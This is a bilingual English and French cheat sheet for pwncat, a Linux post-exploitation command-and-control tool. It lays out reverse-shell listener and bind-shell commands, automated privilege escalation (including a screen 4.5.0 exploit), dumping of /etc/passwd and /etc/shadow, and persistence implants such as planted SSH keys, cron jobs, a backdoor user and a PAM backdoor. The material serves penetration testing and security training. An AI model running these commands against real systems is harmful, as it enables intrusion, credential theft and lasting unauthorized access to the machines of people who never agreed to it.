pwncat

Outil de post-exploitation inspiré de netcat qui met automatiquement à niveau les shells vers des PTY pleinement interactifs, exécute des commandes locales/distantes, et automatise les tâches courantes de post-exploitation. Netcat-inspired post-exploitation tool that auto-upgrades shells to fully interactive PTYs, runs local/remote commands, and automates common post-exploitation tasks.

↗ https://github.com/calebstewart/pwncat

Overview

pwncat is a command-and-control framework for Linux targets focused on ease-of-use. It auto-upgrades raw shells to fully interactive PTYs, provides a local command interface alongside the remote shell, and includes modules for enumeration, persistence, and privilege escalation.

Installation

pip3 install pwncat-cs
# or
git clone https://github.com/calebstewart/pwncat && cd pwncat && pip3 install .

Starting Listeners & Connecting

Listen for incoming connection (reverse shell)

pwncat-cs -l -p 4444

Connect to a bind shell

pwncat-cs VICTIM_IP:4444

SSH connection (manages an interactive SSH session)

pwncat-cs ssh://user:password@target.com

Listen and automatically run a module on connect

pwncat-cs -l -p 4444 --self-inject

Shell Interaction

# After connection, pwncat auto-upgrades to a PTY
# Local commands use the prefix character (default: Ctrl+D)

# Send remote command
(remote) $ whoami
(remote) $ id

Switch to local shell (for file operations / running local commands)

Ctrl+D    # Toggle between local and remote

Local Commands (pwncat interface)

# In pwncat's local shell:
(local) pwncat$ help                    # List commands

# File operations
(local) pwncat$ download /remote/file /local/dest
(local) pwncat$ upload /local/file /remote/dest

# Module execution
(local) pwncat$ run enumerate           # Run enumeration
(local) pwncat$ run escalate            # Attempt privilege escalation
(local) pwncat$ run implant             # Install persistence

# List sessions
(local) pwncat$ sessions

# List implants (persistence mechanisms)
(local) pwncat$ implants list
(local) pwncat$ implants remove

Modules

Enumerate the target

(local) pwncat$ run enumerate.gather

Try automated local privilege escalation

(local) pwncat$ run escalate.auto
# Install persistence (cron, authorized_keys, suid bash, etc.)
(local) pwncat$ run implant.authorized_key lhost=ATTACKER_IP
(local) pwncat$ run implant.cron

Enumerate SUID binaries

(local) pwncat$ run enumerate.file.suid

Find writable directories

(local) pwncat$ run enumerate.file.writable

Dump /etc/passwd and /etc/shadow

(local) pwncat$ run enumerate.user

Configuration

# ~/.config/pwncat/pwncatrc (Python config)
# Set default listener port
config.set("lhost", "10.10.10.1")
config.set("lport", 4444)

# Set download directory
config.set("download_dir", "/tmp/loot")

Tips

  • pwncat automatically handles pty allocation — no manual python3 -c 'import pty...' needed
  • download and upload work reliably even over unstable shells
  • The escalate module chains multiple privesc techniques automatically (sudo, SUID, etc.)
  • Works best on Linux targets; Windows support is limited
Key modules reference
enumerate.*
  enumerate.gather          Full system enumeration
  enumerate.user            User/group info
  enumerate.file.suid       SUID/SGID binaries
  enumerate.file.writable   Writable directories
  enumerate.service         Running services
  enumerate.sudo            Sudo permissions

escalate.*
  escalate.auto             Automated privesc chain
  escalate.sudo             Sudo-based escalation
  escalate.suid             SUID binary abuse
  escalate.screen4          screen 4.5.0 exploit

implant.*
  implant.authorized_key    Add SSH key
  implant.cron              Cron-based persistence
  implant.passwd            Add backdoor user
  implant.pam               PAM module backdoor

Vue d’ensemble

pwncat est un framework de command-and-control pour cibles Linux, axé sur la facilité d’utilisation. Il met automatiquement à niveau les shells bruts en PTY pleinement interactifs, fournit une interface de commande locale en parallèle du shell distant, et inclut des modules d’énumération, de persistance et d’élévation de privilèges.

Installation

pip3 install pwncat-cs
# ou
git clone https://github.com/calebstewart/pwncat && cd pwncat && pip3 install .

Démarrer des listeners et se connecter

# Écouter les connexions entrantes (reverse shell)
pwncat-cs -l -p 4444

# Se connecter à un bind shell
pwncat-cs VICTIM_IP:4444

# Connexion SSH (gère une session SSH interactive)
pwncat-cs ssh://user:password@target.com

# Écouter et lancer automatiquement un module à la connexion
pwncat-cs -l -p 4444 --self-inject

Interaction avec le shell

# Après la connexion, pwncat effectue automatiquement une mise à niveau vers un PTY
# Les commandes locales utilisent le caractère préfixe (par défaut : Ctrl+D)

# Envoyer une commande distante
(remote) $ whoami
(remote) $ id

Basculer vers le shell local (pour les opérations sur fichiers / exécuter des commandes locales)

Ctrl+D    # Basculer entre local et distant

Commandes locales (interface pwncat)

# Dans le shell local de pwncat :
(local) pwncat$ help                    # Lister les commandes

# Opérations sur fichiers
(local) pwncat$ download /remote/file /local/dest
(local) pwncat$ upload /local/file /remote/dest

# Exécution de modules
(local) pwncat$ run enumerate           # Lancer l'énumération
(local) pwncat$ run escalate            # Tenter une élévation de privilèges
(local) pwncat$ run implant             # Installer la persistance

# Lister les sessions
(local) pwncat$ sessions

# Lister les implants (mécanismes de persistance)
(local) pwncat$ implants list
(local) pwncat$ implants remove

Modules

# Énumérer la cible
(local) pwncat$ run enumerate.gather

# Tenter une élévation de privilèges locale automatisée
(local) pwncat$ run escalate.auto

# Installer la persistance (cron, authorized_keys, suid bash, etc.)
(local) pwncat$ run implant.authorized_key lhost=ATTACKER_IP
(local) pwncat$ run implant.cron

# Énumérer les binaires SUID
(local) pwncat$ run enumerate.file.suid

# Trouver les répertoires inscriptibles
(local) pwncat$ run enumerate.file.writable

# Dumper /etc/passwd et /etc/shadow
(local) pwncat$ run enumerate.user

Configuration

# ~/.config/pwncat/pwncatrc (config Python)
# Définir le port du listener par défaut
config.set("lhost", "10.10.10.1")
config.set("lport", 4444)

# Définir le répertoire de téléchargement
config.set("download_dir", "/tmp/loot")

Conseils

  • pwncat gère automatiquement l’allocation du pty : pas besoin du traditionnel python3 -c 'import pty...'
  • download et upload fonctionnent de manière fiable même sur des shells instables
  • Le module escalate enchaîne automatiquement plusieurs techniques de privesc (sudo, SUID, etc.)
  • Fonctionne mieux sur des cibles Linux ; le support Windows est limité
Référence des modules clés
enumerate.*
  enumerate.gather          Full system enumeration
  enumerate.user            User/group info
  enumerate.file.suid       SUID/SGID binaries
  enumerate.file.writable   Writable directories
  enumerate.service         Running services
  enumerate.sudo            Sudo permissions

escalate.*
  escalate.auto             Automated privesc chain
  escalate.sudo             Sudo-based escalation
  escalate.suid             SUID binary abuse
  escalate.screen4          screen 4.5.0 exploit

implant.*
  implant.authorized_key    Add SSH key
  implant.cron              Cron-based persistence
  implant.passwd            Add backdoor user
  implant.pam               PAM module backdoor